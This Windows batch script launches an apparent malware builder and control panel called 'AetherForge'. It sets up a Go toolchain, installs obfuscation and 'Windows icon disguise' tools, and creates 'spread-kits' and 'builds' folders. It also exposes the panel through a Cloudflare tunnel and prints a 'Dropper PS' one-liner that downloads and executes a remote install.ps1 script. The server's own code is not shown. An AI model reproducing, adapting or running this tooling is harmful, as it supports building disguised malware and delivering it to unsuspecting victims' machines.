@echo off setlocal EnableExtensions EnableDelayedExpansion title AetherForge Control Deck cd /d "%~dp0" :: Portable deck root = folder that contains AetherForge.exe (repo usb\ or copied USB drive) if exist "%CD%\AetherForge.exe" ( set "ROOT=!CD!" ) else if exist "%CD%\usb\AetherForge.exe" ( cd /d "%CD%\usb" set "ROOT=!CD!" ) else ( echo. echo ERROR: AetherForge.exe not found. echo Expected next to this script, or in usb\AetherForge.exe echo Run pack-usb.bat from the repo to build the portable bundle. echo. pause exit /b 1 ) if not exist "%ROOT%\AetherForge.exe" ( echo ERROR: AetherForge.exe missing in %ROOT% pause exit /b 1 ) echo ================================================================ echo AetherForge - Portable Control Deck echo ================================================================ echo Deck: %ROOT% echo. :: ---------------------------------------------------------------- :: 1. Locate Go - prefer bundled toolchain, fall back to system Go :: ---------------------------------------------------------------- set "BUNDLED_GO=%ROOT%\toolchain\go\bin\go.exe" set "GO_BIN=" if exist "%ROOT%\toolchain\go" if not exist "%BUNDLED_GO%" ( echo [Go] Incomplete toolchain folder — removing broken install... rd /s /q "%ROOT%\toolchain\go" 2>nul ) if exist "%BUNDLED_GO%" ( echo [Go] Using bundled toolchain: %ROOT%\toolchain\go set "GO_BIN=%ROOT%\toolchain\go\bin\go.exe" set "GOROOT=%ROOT%\toolchain\go" set "PATH=%ROOT%\toolchain\go\bin;%ROOT%\toolchain\gopath\bin;%PATH%" goto go_ready ) :: Check if Go is installed system-wide where go >nul 2>nul if not errorlevel 1 ( echo [Go] Using system Go installation. set "GO_BIN=go" goto go_ready ) :: Go not found - extract bundled zip or download once echo [Go] Not found. Setting up portable Go toolchain... echo Saved under: %ROOT%\toolchain\go\ echo. if /i "%PROCESSOR_ARCHITECTURE%"=="AMD64" ( set "GO_ARCH=amd64" ) else if /i "%PROCESSOR_ARCHITECTURE%"=="ARM64" ( set "GO_ARCH=arm64" ) else ( set "GO_ARCH=386" ) set "GO_VERSION=1.26.3" set "GO_ZIP=go%GO_VERSION%.windows-%GO_ARCH%.zip" set "GO_PACK_ZIP=%ROOT%\toolchain\pack\%GO_ZIP%" set "GO_DEST=%ROOT%\toolchain\%GO_ZIP%" if not exist "%ROOT%\toolchain" mkdir "%ROOT%\toolchain" if not exist "%ROOT%\toolchain\pack" mkdir "%ROOT%\toolchain\pack" if exist "%GO_PACK_ZIP%" ( echo [Go] Extracting bundled %GO_ZIP%... copy /y "%GO_PACK_ZIP%" "%GO_DEST%" >nul ) else ( echo [Go] Downloading %GO_ZIP% from go.dev... set "GO_URL=https://go.dev/dl/%GO_ZIP%" powershell -NoProfile -Command "& { [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%GO_URL%' -OutFile '%GO_DEST%' }" if errorlevel 1 ( echo. echo ERROR: Could not download Go. Copy toolchain\go\ from a PC that has it, echo or add toolchain\pack\%GO_ZIP% to this folder, then re-run LAUNCH.bat. echo. pause exit /b 1 ) ) if not exist "%GO_DEST%" ( echo ERROR: Go archive missing after copy/download. pause exit /b 1 ) echo [Go] Extracting toolchain... powershell -NoProfile -Command "Expand-Archive -LiteralPath '%GO_DEST%' -DestinationPath '%ROOT%\toolchain' -Force" if errorlevel 1 ( echo ERROR: Extraction failed. Check free disk space and path: %ROOT%\toolchain pause exit /b 1 ) del "%GO_DEST%" 2>nul if not exist "%BUNDLED_GO%" ( echo ERROR: Extraction failed — %BUNDLED_GO% not found. echo Delete toolchain\go and toolchain\pack, then re-run LAUNCH.bat. pause exit /b 1 ) set "GO_BIN=%ROOT%\toolchain\go\bin\go.exe" set "GOROOT=%ROOT%\toolchain\go" set "PATH=%ROOT%\toolchain\go\bin;%ROOT%\toolchain\gopath\bin;%PATH%" echo [Go] Toolchain ready. :go_ready :: ---------------------------------------------------------------- :: 2. Pin all Go caches to the USB so module downloads travel with you :: ---------------------------------------------------------------- set "GOPATH=%ROOT%\toolchain\gopath" set "GOMODCACHE=%ROOT%\toolchain\gopath\pkg\mod" set "GOCACHE=%ROOT%\toolchain\gocache" set "GOENV=off" :: ---------------------------------------------------------------- :: 3. Install optional Forge tools if missing (non-fatal) :: ---------------------------------------------------------------- if /i "%AF_INSTALL_TOOLS%"=="1" ( if not exist "%ROOT%\toolchain\gopath\bin\garble.exe" ( echo [Tools] Installing garble - obfuscation support... "%GO_BIN%" install mvdan.cc/garble@latest if errorlevel 1 ( echo [Tools] WARNING: garble install failed - Forge obfuscation will be skipped. ) else ( echo [Tools] garble ready. ) ) if not exist "%ROOT%\toolchain\gopath\bin\go-winres.exe" ( echo [Tools] Installing go-winres - Windows icon disguise... "%GO_BIN%" install github.com/tc-hib/go-winres@v0.3.1 if errorlevel 1 ( echo [Tools] WARNING: go-winres install failed - Fusion icon patch will be skipped. ) else ( echo [Tools] go-winres ready. ) ) ) else ( echo [Tools] Skipping optional installs. Run: set AF_INSTALL_TOOLS=1 ^&^& LAUNCH.bat to install. ) :: ---------------------------------------------------------------- :: 4. Ensure data directories exist :: ---------------------------------------------------------------- if not exist "%ROOT%\data\builds" mkdir "%ROOT%\data\builds" if not exist "%ROOT%\data\logs" mkdir "%ROOT%\data\logs" if not exist "%ROOT%\data\spread-kits" mkdir "%ROOT%\data\spread-kits" if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads" if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints" if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps" :: ---------------------------------------------------------------- :: 5. Cloudflare Tunnel - start in background window + 60s watchdog :: ---------------------------------------------------------------- set "SERVER_PORT=8989" set "CF_HOSTNAME=aether.thetempleofdoom.com" set "CF_READY=0" if not exist "%ROOT%\cloudflare\start-tunnel.ps1" ( echo [CF] WARNING: cloudflare\start-tunnel.ps1 missing - tunnel skipped. goto cf_done ) echo. echo [CF] Starting Cloudflare tunnel for https://%CF_HOSTNAME% ... echo [CF] Log: %ROOT%\data\logs\tunnel.log start "AetherForge Tunnel" powershell -NoProfile -ExecutionPolicy Bypass -File "%ROOT%\cloudflare\start-tunnel.ps1" -Root "%ROOT%" :: Give the tunnel script 8 seconds to start before we open the server ping -n 9 127.0.0.1 >nul set "CF_READY=1" :cf_done :: ---------------------------------------------------------------- :: 6. Detect LAN IP for display :: ---------------------------------------------------------------- set "LAN_IP=localhost" :: ---------------------------------------------------------------- :: 7. Kill any stale server process :: ---------------------------------------------------------------- taskkill /F /IM AetherForge.exe >nul 2>nul ping -n 2 127.0.0.1 >nul echo. echo ================================================================ echo STARTING CONTROL DECK echo ================================================================ echo Local: http://localhost:%SERVER_PORT% echo LAN: http://%LAN_IP%:%SERVER_PORT% if "!CF_READY!"=="1" ( echo Public: https://!CF_HOSTNAME! echo Dropper PS: iex -irm https://!CF_HOSTNAME!/install.ps1 ) echo Data: %ROOT%\data\ echo. echo Dashboard login printed below each start. echo Press Ctrl+C to stop. echo ================================================================ echo. :: Open browser after short delay start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'" :: Launch server "%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data" set "EC=!ERRORLEVEL!" echo. if "!EC!"=="0" ( echo [Server] Stopped normally. ) else ( echo [Server] Exited with code !EC!. echo If port %SERVER_PORT% is in use, close other AetherForge windows and retry. ) :: Cloudflare tunnel runs as a Windows service — stays up after LAUNCH.bat exits echo. pause endlocal